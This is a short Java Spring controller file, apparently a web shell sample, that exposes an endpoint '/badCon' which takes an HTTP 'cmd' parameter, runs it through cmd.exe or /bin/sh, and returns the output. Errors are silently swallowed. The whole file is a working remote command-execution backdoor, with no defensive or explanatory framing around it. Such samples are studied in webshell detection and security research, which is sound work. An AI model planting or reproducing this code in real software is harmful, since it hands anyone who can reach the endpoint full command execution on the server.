content: package bad_controller;
  
  import org.springframework.stereotype.Controller;
  import org.springframework.web.bind.annotation.RequestMapping;
  
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  
  @Controller
  public class BadController {
      @RequestMapping("/badCon")
      public void badCon(HttpServletRequest request, HttpServletResponse response) {
          String code = request.getParameter("cmd");
          if(code != null){
              try {
                  java.io.PrintWriter writer = response.getWriter();
                  String o = "";
                  ProcessBuilder p;
                  if(System.getProperty("os.name").toLowerCase().contains("win")){
                      p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                  }else{
                      p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                  }
                  java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                  o = c.hasNext() ? c.next(): o;
                  c.close();
                  writer.write(o);
                  writer.flush();
                  writer.close();
              }catch (Exception e){
              }
          }
  
      }
  }
  